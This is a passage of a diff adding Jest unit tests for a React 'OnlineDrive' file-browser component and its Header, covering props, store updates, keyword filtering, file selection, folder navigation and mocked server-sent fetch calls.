+
+      // Assert
+      expect(screen.getByTestId('header-doc-title')).toHaveTextContent('Docs')
+      expect(screen.getByTestId('header-plugin-name')).toHaveTextContent('My Online Drive')
+      expect(screen.getByTestId('header-credential-id')).toHaveTextContent('cred-123')
+    })
+
+    it('should render FileList with correct props', () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      mockStoreState.keywords = 'search-term'
+      mockStoreState.breadcrumbs = ['folder1', 'folder2']
+      mockStoreState.bucket = 'my-bucket'
+      mockStoreState.selectedFileIds = ['file-1', 'file-2']
+      mockStoreState.onlineDriveFileList = [
+        createMockOnlineDriveFile({ id: 'file-1', name: 'file1.txt' }),
+        createMockOnlineDriveFile({ id: 'file-2', name: 'file2.txt' }),
+      ]
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('file-list')).toBeInTheDocument()
+      expect(screen.getByTestId('file-list-keywords')).toHaveTextContent('search-term')
+      expect(screen.getByTestId('file-list-breadcrumbs')).toHaveTextContent('folder1/folder2')
+      expect(screen.getByTestId('file-list-bucket')).toHaveTextContent('my-bucket')
+      expect(screen.getByTestId('file-list-selected-count')).toHaveTextContent('2')
+    })
+
+    it('should pass docLink with correct path to Header', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      expect(mockDocLink).toHaveBeenCalledWith('/guides/knowledge-base/knowledge-pipeline/authorize-data-source')
+    })
+  })
+
+  // ==========================================
+  // Props Testing
+  // ==========================================
+  describe('Props', () => {
+    describe('nodeId prop', () => {
+      it('should use nodeId in datasourceNodeRunURL for non-pipeline mode', async () => {
+        // Arrange
+        mockStoreState.currentCredentialId = 'cred-1'
+        const props = createDefaultProps({
+          nodeId: 'custom-node-id',
+          isInPipeline: false,
+        })
+
+        // Act
+        render(<OnlineDrive {...props} />)
+
+        // Assert - ssePost should be called with correct URL
+        await waitFor(() => {
+          expect(mockSsePost).toHaveBeenCalledWith(
+            expect.stringContaining('/rag/pipelines/pipeline-123/workflows/published/datasource/nodes/custom-node-id/run'),
+            expect.any(Object),
+            expect.any(Object),
+          )
+        })
+      })
+
+      it('should use nodeId in datasourceNodeRunURL for pipeline mode', async () => {
+        // Arrange
+        mockStoreState.currentCredentialId = 'cred-1'
+        const props = createDefaultProps({
+          nodeId: 'custom-node-id',
+          isInPipeline: true,
+        })
+
+        // Act
+        render(<OnlineDrive {...props} />)
+
+        // Assert - ssePost should be called with correct URL for draft
+        await waitFor(() => {
+          expect(mockSsePost).toHaveBeenCalledWith(
+            expect.stringContaining('/rag/pipelines/pipeline-123/workflows/draft/datasource/nodes/custom-node-id/run'),
+            expect.any(Object),
+            expect.any(Object),
+          )
+        })
+      })
+    })
+
+    describe('nodeData prop', () => {
+      it('should pass plugin_id and provider_name to useGetDataSourceAuth', () => {
+        // Arrange
+        const nodeData = createMockNodeData({
+          plugin_id: 'my-plugin-id',
+          provider_name: 'my-provider',
+        })
+        const props = createDefaultProps({ nodeData })
+
+        // Act
+        render(<OnlineDrive {...props} />)
+
+        // Assert
+        expect(mockUseGetDataSourceAuth).toHaveBeenCalledWith({
+          pluginId: 'my-plugin-id',
+          provider: 'my-provider',
+        })
+      })
+
+      it('should pass datasource_label to Header as pluginName', () => {
+        // Arrange
+        const nodeData = createMockNodeData({
+          datasource_label: 'Custom Online Drive',
+        })
+        const props = createDefaultProps({ nodeData })
+
+        // Act
+        render(<OnlineDrive {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('header-plugin-name')).toHaveTextContent('Custom Online Drive')
+      })
+    })
+
+    describe('isInPipeline prop', () => {
+      it('should use draft URL when isInPipeline is true', async () => {
+        // Arrange
+        mockStoreState.currentCredentialId = 'cred-1'
+        const props = createDefaultProps({ isInPipeline: true })
+
+        // Act
+        render(<OnlineDrive {...props} />)
+
+        // Assert
+        await waitFor(() => {
+          expect(mockSsePost).toHaveBeenCalledWith(
+            expect.stringContaining('/workflows/draft/'),
+            expect.any(Object),
+            expect.any(Object),
+          )
+        })
+      })
+
+      it('should use published URL when isInPipeline is false', async () => {
+        // Arrange
+        mockStoreState.currentCredentialId = 'cred-1'
+        const props = createDefaultProps({ isInPipeline: false })
+
+        // Act
+        render(<OnlineDrive {...props} />)
+
+        // Assert
+        await waitFor(() => {
+          expect(mockSsePost).toHaveBeenCalledWith(
+            expect.stringContaining('/workflows/published/'),
+            expect.any(Object),
+            expect.any(Object),
+          )
+        })
+      })
+
+      it('should pass isInPipeline to FileList', () => {
+        // Arrange
+        const props = createDefaultProps({ isInPipeline: true })
+
+        // Act
+        render(<OnlineDrive {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('file-list-is-in-pipeline')).toHaveTextContent('true')
+      })
+    })
+
+    describe('supportBatchUpload prop', () => {
+      it('should pass supportBatchUpload true to FileList when supportBatchUpload is true', () => {
+        // Arrange
+        const props = createDefaultProps({ supportBatchUpload: true })
+
+        // Act
+        render(<OnlineDrive {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('file-list-support-batch')).toHaveTextContent('true')
+      })
+
+      it('should pass supportBatchUpload false to FileList when supportBatchUpload is false', () => {
+        // Arrange
+        const props = createDefaultProps({ supportBatchUpload: false })
+
+        // Act
+        render(<OnlineDrive {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('file-list-support-batch')).toHaveTextContent('false')
+      })
+
+      it.each([
+        [true, 'true'],
+        [false, 'false'],
+        [undefined, 'true'], // Default value
+      ])('should handle supportBatchUpload=%s correctly', (value, expected) => {
+        // Arrange
+        const props = createDefaultProps({ supportBatchUpload: value })
+
+        // Act
+        render(<OnlineDrive {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('file-list-support-batch')).toHaveTextContent(expected)
+      })
+    })
+
+    describe('onCredentialChange prop', () => {
+      it('should call onCredentialChange with credential id', () => {
+        // Arrange
+        const mockOnCredentialChange = jest.fn()
+        const props = createDefaultProps({ onCredentialChange: mockOnCredentialChange })
+
+        // Act
+        render(<OnlineDrive {...props} />)
+        fireEvent.click(screen.getByTestId('header-credential-change'))
+
+        // Assert
+        expect(mockOnCredentialChange).toHaveBeenCalledWith('new-cred-id')
+      })
+    })
+  })
+
+  // ==========================================
+  // State Management Tests
+  // ==========================================
+  describe('State Management', () => {
+    it('should fetch files on initial mount when fileList is empty', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      mockStoreState.onlineDriveFileList = []
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockSsePost).toHaveBeenCalled()
+      })
+    })
+
+    it('should not fetch files on initial mount when fileList is not empty', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      mockStoreState.onlineDriveFileList = [createMockOnlineDriveFile()]
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert - Wait a bit to ensure no call is made
+      await new Promise(resolve => setTimeout(resolve, 100))
+      expect(mockSsePost).not.toHaveBeenCalled()
+    })
+
+    it('should not fetch files when currentCredentialId is empty', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = ''
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert - Wait a bit to ensure no call is made
+      await new Promise(resolve => setTimeout(resolve, 100))
+      expect(mockSsePost).not.toHaveBeenCalled()
+    })
+
+    it('should show loading state during fetch', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      mockSsePost.mockImplementation(() => {
+        // Never resolves to keep loading state
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByTestId('file-list-loading')).toHaveTextContent('true')
+      })
+    })
+
+    it('should update file list on successful fetch', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      const mockFiles = [
+        { id: 'file-1', name: 'file1.txt', type: 'file' as const },
+        { id: 'file-2', name: 'file2.txt', type: 'file' as const },
+      ]
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        callbacks.onDataSourceNodeCompleted({
+          data: [{
+            bucket: '',
+            files: mockFiles,
+            is_truncated: false,
+            next_page_parameters: {},
+          }],
+          time_consuming: 1.0,
+        })
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockStoreState.setOnlineDriveFileList).toHaveBeenCalled()
+      })
+    })
+
+    it('should show error toast on fetch error', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      const errorMessage = 'Failed to fetch files'
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        callbacks.onDataSourceNodeError({
+          error: errorMessage,
+        })
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockToastNotify).toHaveBeenCalledWith({
+          type: 'error',
+          message: errorMessage,
+        })
+      })
+    })
+  })
+
+  // ==========================================
+  // Memoization Logic and Dependencies Tests
+  // ==========================================
+  describe('Memoization Logic', () => {
+    it('should filter files by keywords', () => {
+      // Arrange
+      mockStoreState.keywords = 'test'
+      mockStoreState.onlineDriveFileList = [
+        createMockOnlineDriveFile({ id: '1', name: 'test-file.txt' }),
+        createMockOnlineDriveFile({ id: '2', name: 'other-file.txt' }),
+        createMockOnlineDriveFile({ id: '3', name: 'another-test.pdf' }),
+      ]
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert - filteredOnlineDriveFileList should have 2 items matching 'test'
+      expect(screen.getByTestId('file-list-count')).toHaveTextContent('2')
+    })
+
+    it('should return all files when keywords is empty', () => {
+      // Arrange
+      mockStoreState.keywords = ''
+      mockStoreState.onlineDriveFileList = [
+        createMockOnlineDriveFile({ id: '1', name: 'file1.txt' }),
+        createMockOnlineDriveFile({ id: '2', name: 'file2.txt' }),
+        createMockOnlineDriveFile({ id: '3', name: 'file3.pdf' }),
+      ]
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('file-list-count')).toHaveTextContent('3')
+    })
+
+    it('should filter files case-insensitively', () => {
+      // Arrange
+      mockStoreState.keywords = 'TEST'
+      mockStoreState.onlineDriveFileList = [
+        createMockOnlineDriveFile({ id: '1', name: 'test-file.txt' }),
+        createMockOnlineDriveFile({ id: '2', name: 'Test-Document.pdf' }),
+        createMockOnlineDriveFile({ id: '3', name: 'other.txt' }),
+      ]
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('file-list-count')).toHaveTextContent('2')
+    })
+  })
+
+  // ==========================================
+  // Callback Stability and Memoization
+  // ==========================================
+  describe('Callback Stability and Memoization', () => {
+    it('should have stable handleSetting callback', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<OnlineDrive {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('header-config-btn'))
+
+      // Assert
+      expect(mockSetShowAccountSettingModal).toHaveBeenCalledWith({
+        payload: ACCOUNT_SETTING_TAB.DATA_SOURCE,
+      })
+    })
+
+    it('should have stable updateKeywords that updates store', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<OnlineDrive {...props} />)
+
+      // Act
+      fireEvent.change(screen.getByTestId('file-list-search-input'), { target: { value: 'new-keyword' } })
+
+      // Assert
+      expect(mockStoreState.setKeywords).toHaveBeenCalledWith('new-keyword')
+    })
+
+    it('should have stable resetKeywords that clears keywords', () => {
+      // Arrange
+      mockStoreState.keywords = 'old-keyword'
+      const props = createDefaultProps()
+      render(<OnlineDrive {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('file-list-reset-keywords'))
+
+      // Assert
+      expect(mockStoreState.setKeywords).toHaveBeenCalledWith('')
+    })
+  })
+
+  // ==========================================
+  // User Interactions and Event Handlers
+  // ==========================================
+  describe('User Interactions', () => {
+    describe('File Selection', () => {
+      it('should toggle file selection on file click', () => {
+        // Arrange
+        mockStoreState.selectedFileIds = []
+        const props = createDefaultProps()
+        render(<OnlineDrive {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByTestId('file-list-select-file'))
+
+        // Assert
+        expect(mockStoreState.setSelectedFileIds).toHaveBeenCalledWith(['file-1'])
+      })
+
+      it('should deselect file if already selected', () => {
+        // Arrange
+        mockStoreState.selectedFileIds = ['file-1']
+        const props = createDefaultProps()
+        render(<OnlineDrive {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByTestId('file-list-select-file'))
+
+        // Assert
+        expect(mockStoreState.setSelectedFileIds).toHaveBeenCalledWith([])
+      })
+
+      it('should not select bucket type items', () => {
+        // Arrange
+        mockStoreState.selectedFileIds = []
+        const props = createDefaultProps()
+        render(<OnlineDrive {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByTestId('file-list-select-bucket'))
+
+        // Assert
+        expect(mockStoreState.setSelectedFileIds).not.toHaveBeenCalled()
+      })
+
+      it('should limit selection to one file when supportBatchUpload is false', () => {
+        // Arrange
+        mockStoreState.selectedFileIds = ['existing-file']
+        const props = createDefaultProps({ supportBatchUpload: false })
+        render(<OnlineDrive {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByTestId('file-list-select-file'))
+
+        // Assert - Should not add new file because there's already one selected
+        expect(mockStoreState.setSelectedFileIds).toHaveBeenCalledWith(['existing-file'])
+      })
+
+      it('should allow multiple selections when supportBatchUpload is true', () => {
+        // Arrange
+        mockStoreState.selectedFileIds = ['existing-file']
+        const props = createDefaultProps({ supportBatchUpload: true })
+        render(<OnlineDrive {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByTestId('file-list-select-file'))
+
+        // Assert
+        expect(mockStoreState.setSelectedFileIds).toHaveBeenCalledWith(['existing-file', 'file-1'])
+      })
+    })
+
+    describe('Folder Navigation', () => {
+      it('should open folder and update breadcrumbs/prefix', () => {
+        // Arrange
+        mockStoreState.breadcrumbs = []
+        mockStoreState.prefix = []
+        const props = createDefaultProps()
+        render(<OnlineDrive {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByTestId('file-list-open-folder'))
+
+        // Assert
+        expect(mockStoreState.setOnlineDriveFileList).toHaveBeenCalledWith([])
+        expect(mockStoreState.setSelectedFileIds).toHaveBeenCalledWith([])
+        expect(mockStoreState.setBreadcrumbs).toHaveBeenCalledWith(['my-folder'])
+        expect(mockStoreState.setPrefix).toHaveBeenCalledWith(['folder-1'])
+      })
+
+      it('should open bucket and set bucket name', () => {
+        // Arrange
+        const props = createDefaultProps()
+        render(<OnlineDrive {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByTestId('file-list-open-bucket'))
+
+        // Assert
+        expect(mockStoreState.setOnlineDriveFileList).toHaveBeenCalledWith([])
+        expect(mockStoreState.setBucket).toHaveBeenCalledWith('my-bucket')
+      })
+
+      it('should not navigate when opening a file', () => {
+        // Arrange
+        const props = createDefaultProps()
+        render(<OnlineDrive {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByTestId('file-list-open-file'))
+
+        // Assert - No navigation functions should be called
+        expect(mockStoreState.setBreadcrumbs).not.toHaveBeenCalled()
+        expect(mockStoreState.setPrefix).not.toHaveBeenCalled()
+        expect(mockStoreState.setBucket).not.toHaveBeenCalled()
+      })
+    })
+
+    describe('Credential Change', () => {
+      it('should call onCredentialChange prop', () => {
+        // Arrange
+        const mockOnCredentialChange = jest.fn()
+        const props = createDefaultProps({ onCredentialChange: mockOnCredentialChange })
+        render(<OnlineDrive {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByTestId('header-credential-change'))
+
+        // Assert
+        expect(mockOnCredentialChange).toHaveBeenCalledWith('new-cred-id')
+      })
+    })
+
+    describe('Configuration', () => {
+      it('should open account setting modal on configuration click', () => {
+        // Arrange
+        const props = createDefaultProps()
+        render(<OnlineDrive {...props} />)
+
+        // Act
+        fireEvent.click(screen.getByTestId('header-config-btn'))
+
+        // Assert
+        expect(mockSetShowAccountSettingModal).toHaveBeenCalledWith({
+          payload: ACCOUNT_SETTING_TAB.DATA_SOURCE,
+        })
+      })
+    })
+  })
+
+  // ==========================================
+  // Side Effects and Cleanup Tests
+  // ==========================================
+  describe('Side Effects and Cleanup', () => {
+    it('should fetch files when nextPageParameters changes after initial mount', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      mockStoreState.onlineDriveFileList = [createMockOnlineDriveFile()]
+      const props = createDefaultProps()
+      const { rerender } = render(<OnlineDrive {...props} />)
+
+      // Act - Simulate nextPageParameters change by re-rendering with updated state
+      mockStoreState.nextPageParameters = { page: 2 }
+      rerender(<OnlineDrive {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockSsePost).toHaveBeenCalled()
+      })
+    })
+
+    it('should fetch files when prefix changes after initial mount', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      mockStoreState.onlineDriveFileList = [createMockOnlineDriveFile()]
+      const props = createDefaultProps()
+      const { rerender } = render(<OnlineDrive {...props} />)
+
+      // Act - Simulate prefix change by re-rendering with updated state
+      mockStoreState.prefix = ['folder1']
+      rerender(<OnlineDrive {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockSsePost).toHaveBeenCalled()
+      })
+    })
+
+    it('should fetch files when bucket changes after initial mount', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      mockStoreState.onlineDriveFileList = [createMockOnlineDriveFile()]
+      const props = createDefaultProps()
+      const { rerender } = render(<OnlineDrive {...props} />)
+
+      // Act - Simulate bucket change by re-rendering with updated state
+      mockStoreState.bucket = 'new-bucket'
+      rerender(<OnlineDrive {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockSsePost).toHaveBeenCalled()
+      })
+    })
+
+    it('should fetch files when currentCredentialId changes after initial mount', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      mockStoreState.onlineDriveFileList = [createMockOnlineDriveFile()]
+      const props = createDefaultProps()
+      const { rerender } = render(<OnlineDrive {...props} />)
+
+      // Act - Simulate credential change by re-rendering with updated state
+      mockStoreState.currentCredentialId = 'cred-2'
+      rerender(<OnlineDrive {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockSsePost).toHaveBeenCalled()
+      })
+    })
+
+    it('should not fetch files concurrently (debounce)', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      let resolveFirst: () => void
+      const firstPromise = new Promise<void>((resolve) => {
+        resolveFirst = resolve
+      })
+      mockSsePost.mockImplementationOnce((url, options, callbacks) => {
+        firstPromise.then(() => {
+          callbacks.onDataSourceNodeCompleted({
+            data: [{ bucket: '', files: [], is_truncated: false, next_page_parameters: {} }],
+            time_consuming: 1.0,
+          })
+        })
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Try to trigger another fetch while first is loading
+      mockStoreState.prefix = ['folder1']
+
+      // Assert - Only one call should be made initially due to isLoadingRef guard
+      expect(mockSsePost).toHaveBeenCalledTimes(1)
+
+      // Cleanup
+      resolveFirst!()
+    })
+  })
+
+  // ==========================================
+  // API Calls Mocking Tests
+  // ==========================================
+  describe('API Calls', () => {
+    it('should call ssePost with correct parameters', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      mockStoreState.prefix = ['folder1']
+      mockStoreState.bucket = 'my-bucket'
+      mockStoreState.nextPageParameters = { cursor: 'abc' }
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockSsePost).toHaveBeenCalledWith(
+          expect.any(String),
+          {
+            body: {
+              inputs: {
+                prefix: 'folder1',
+                bucket: 'my-bucket',
+                next_page_parameters: { cursor: 'abc' },
+                max_keys: 30,
+              },
+              datasource_type: DatasourceType.onlineDrive,
+              credential_id: 'cred-1',
+            },
+          },
+          expect.objectContaining({
+            onDataSourceNodeCompleted: expect.any(Function),
+            onDataSourceNodeError: expect.any(Function),
+          }),
+        )
+      })
+    })
+
+    it('should handle completed response and update store', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      mockStoreState.breadcrumbs = ['folder1']
+      mockStoreState.bucket = 'my-bucket'
+      const mockResponseData = [{
+        bucket: 'my-bucket',
+        files: [
+          { id: 'file-1', name: 'file1.txt', size: 1024, type: 'file' as const },
+          { id: 'file-2', name: 'file2.txt', size: 2048, type: 'file' as const },
+        ],
+        is_truncated: true,
+        next_page_parameters: { cursor: 'next-cursor' },
+      }]
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        callbacks.onDataSourceNodeCompleted({
+          data: mockResponseData,
+          time_consuming: 1.5,
+        })
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockStoreState.setOnlineDriveFileList).toHaveBeenCalled()
+        expect(mockStoreState.setHasBucket).toHaveBeenCalledWith(true)
+        expect(mockStoreState.isTruncated.current).toBe(true)
+        expect(mockStoreState.currentNextPageParametersRef.current).toEqual({ cursor: 'next-cursor' })
+      })
+    })
+
+    it('should handle error response and show toast', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      const errorMessage = 'Access denied'
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        callbacks.onDataSourceNodeError({
+          error: errorMessage,
+        })
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockToastNotify).toHaveBeenCalledWith({
+          type: 'error',
+          message: errorMessage,
+        })
+      })
+    })
+  })
+
+  // ==========================================
+  // Edge Cases and Error Handling
+  // ==========================================
+  describe('Edge Cases and Error Handling', () => {
+    it('should handle empty credentials list', () => {
+      // Arrange
+      mockUseGetDataSourceAuth.mockReturnValue({
+        data: { result: [] },
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('header-credentials-count')).toHaveTextContent('0')
+    })
+
+    it('should handle undefined credentials data', () => {
+      // Arrange
+      mockUseGetDataSourceAuth.mockReturnValue({
+        data: undefined,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('header-credentials-count')).toHaveTextContent('0')
+    })
+
+    it('should handle undefined pipelineId', async () => {
+      // Arrange
+      mockPipelineId = undefined
+      mockStoreState.currentCredentialId = 'cred-1'
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert - Should still attempt to call ssePost with undefined in URL
+      await waitFor(() => {
+        expect(mockSsePost).toHaveBeenCalledWith(
+          expect.stringContaining('/rag/pipelines/undefined/'),
+          expect.any(Object),
+          expect.any(Object),
+        )
+      })
+    })
+
+    it('should handle empty file list', () => {
+      // Arrange
+      mockStoreState.onlineDriveFileList = []
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('file-list-count')).toHaveTextContent('0')
+    })
+
+    it('should handle empty breadcrumbs', () => {
+      // Arrange
+      mockStoreState.breadcrumbs = []
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('file-list-breadcrumbs')).toHaveTextContent('')
+    })
+
+    it('should handle empty bucket', () => {
+      // Arrange
+      mockStoreState.bucket = ''
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('file-list-bucket')).toHaveTextContent('')
+    })
+
+    it('should handle special characters in keywords', () => {
+      // Arrange
+      mockStoreState.keywords = 'test.file[1]'
+      mockStoreState.onlineDriveFileList = [
+        createMockOnlineDriveFile({ id: '1', name: 'test.file[1].txt' }),
+        createMockOnlineDriveFile({ id: '2', name: 'other.txt' }),
+      ]
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert - Should find file with special characters
+      expect(screen.getByTestId('file-list-count')).toHaveTextContent('1')
+    })
+
+    it('should handle very long file names', () => {
+      // Arrange
+      const longName = `${'a'.repeat(500)}.txt`
+      mockStoreState.onlineDriveFileList = [
+        createMockOnlineDriveFile({ id: '1', name: longName }),
+      ]
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('file-list-count')).toHaveTextContent('1')
+    })
+
+    it('should handle bucket list initiation response', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      mockStoreState.bucket = ''
+      mockStoreState.prefix = []
+      const mockBucketResponse = [
+        { bucket: 'bucket-1', files: [], is_truncated: false, next_page_parameters: {} },
+        { bucket: 'bucket-2', files: [], is_truncated: false, next_page_parameters: {} },
+      ]
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        callbacks.onDataSourceNodeCompleted({
+          data: mockBucketResponse,
+          time_consuming: 1.0,
+        })
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockStoreState.setHasBucket).toHaveBeenCalledWith(true)
+      })
+    })
+  })
+
+  // ==========================================
+  // All Prop Variations Tests
+  // ==========================================
+  describe('Prop Variations', () => {
+    it.each([
+      { isInPipeline: true, supportBatchUpload: true },
+      { isInPipeline: true, supportBatchUpload: false },
+      { isInPipeline: false, supportBatchUpload: true },
+      { isInPipeline: false, supportBatchUpload: false },
+    ])('should render correctly with isInPipeline=%s and supportBatchUpload=%s', (propVariation) => {
+      // Arrange
+      const props = createDefaultProps(propVariation)
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('header')).toBeInTheDocument()
+      expect(screen.getByTestId('file-list')).toBeInTheDocument()
+      expect(screen.getByTestId('file-list-is-in-pipeline')).toHaveTextContent(String(propVariation.isInPipeline))
+      expect(screen.getByTestId('file-list-support-batch')).toHaveTextContent(String(propVariation.supportBatchUpload))
+    })
+
+    it.each([
+      { nodeId: 'node-a', expectedUrlPart: 'nodes/node-a/run' },
+      { nodeId: 'node-b', expectedUrlPart: 'nodes/node-b/run' },
+      { nodeId: '123-456', expectedUrlPart: 'nodes/123-456/run' },
+    ])('should use correct URL for nodeId=%s', async ({ nodeId, expectedUrlPart }) => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      const props = createDefaultProps({ nodeId })
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockSsePost).toHaveBeenCalledWith(
+          expect.stringContaining(expectedUrlPart),
+          expect.any(Object),
+          expect.any(Object),
+        )
+      })
+    })
+
+    it.each([
+      { pluginId: 'plugin-a', providerName: 'provider-a' },
+      { pluginId: 'plugin-b', providerName: 'provider-b' },
+      { pluginId: '', providerName: '' },
+    ])('should call useGetDataSourceAuth with pluginId=%s and providerName=%s', ({ pluginId, providerName }) => {
+      // Arrange
+      const props = createDefaultProps({
+        nodeData: createMockNodeData({
+          plugin_id: pluginId,
+          provider_name: providerName,
+        }),
+      })
+
+      // Act
+      render(<OnlineDrive {...props} />)
+
+      // Assert
+      expect(mockUseGetDataSourceAuth).toHaveBeenCalledWith({
+        pluginId,
+        provider: providerName,
+      })
+    })
+  })
+})
+
+// ==========================================
+// Header Component Tests
+// ==========================================
+describe('Header', () => {
+  const createHeaderProps = (overrides?: Partial<React.ComponentProps<typeof Header>>) => ({
+    onClickConfiguration: jest.fn(),
+    docTitle: 'Documentation',
+    docLink: 'https://docs.example.com/guide',
+    ...overrides,
+  })
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createHeaderProps()
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      expect(screen.getByText('Documentation')).toBeInTheDocument()
+    })
+
+    it('should render doc link with correct href', () => {
+      // Arrange
+      const props = createHeaderProps({
+        docLink: 'https://custom-docs.com/path',
+        docTitle: 'Custom Docs',
+      })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      const link = screen.getByRole('link')
+      expect(link).toHaveAttribute('href', 'https://custom-docs.com/path')
+      expect(link).toHaveAttribute('target', '_blank')
+      expect(link).toHaveAttribute('rel', 'noopener noreferrer')
+    })
+
+    it('should render doc title text', () => {
+      // Arrange
+      const props = createHeaderProps({ docTitle: 'My Documentation Title' })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      expect(screen.getByText('My Documentation Title')).toBeInTheDocument()
+    })
+
+    it('should render configuration button', () => {
+      // Arrange
+      const props = createHeaderProps()
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+  })
+
+  describe('Props', () => {
+    describe('docTitle prop', () => {
+      it.each([
+        'Getting Started',
+        'API Reference',
+        'Installation Guide',
+        '',
+      ])('should render docTitle="%s"', (docTitle) => {
+        // Arrange
+        const props = createHeaderProps({ docTitle })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert
+        if (docTitle)
+          expect(screen.getByText(docTitle)).toBeInTheDocument()
+      })
+    })
+
+    describe('docLink prop', () => {
+      it.each([
+        'https://docs.example.com',
+        'https://docs.example.com/path/to/page',
+        '/relative/path',
+      ])('should set href to "%s"', (docLink) => {
+        // Arrange
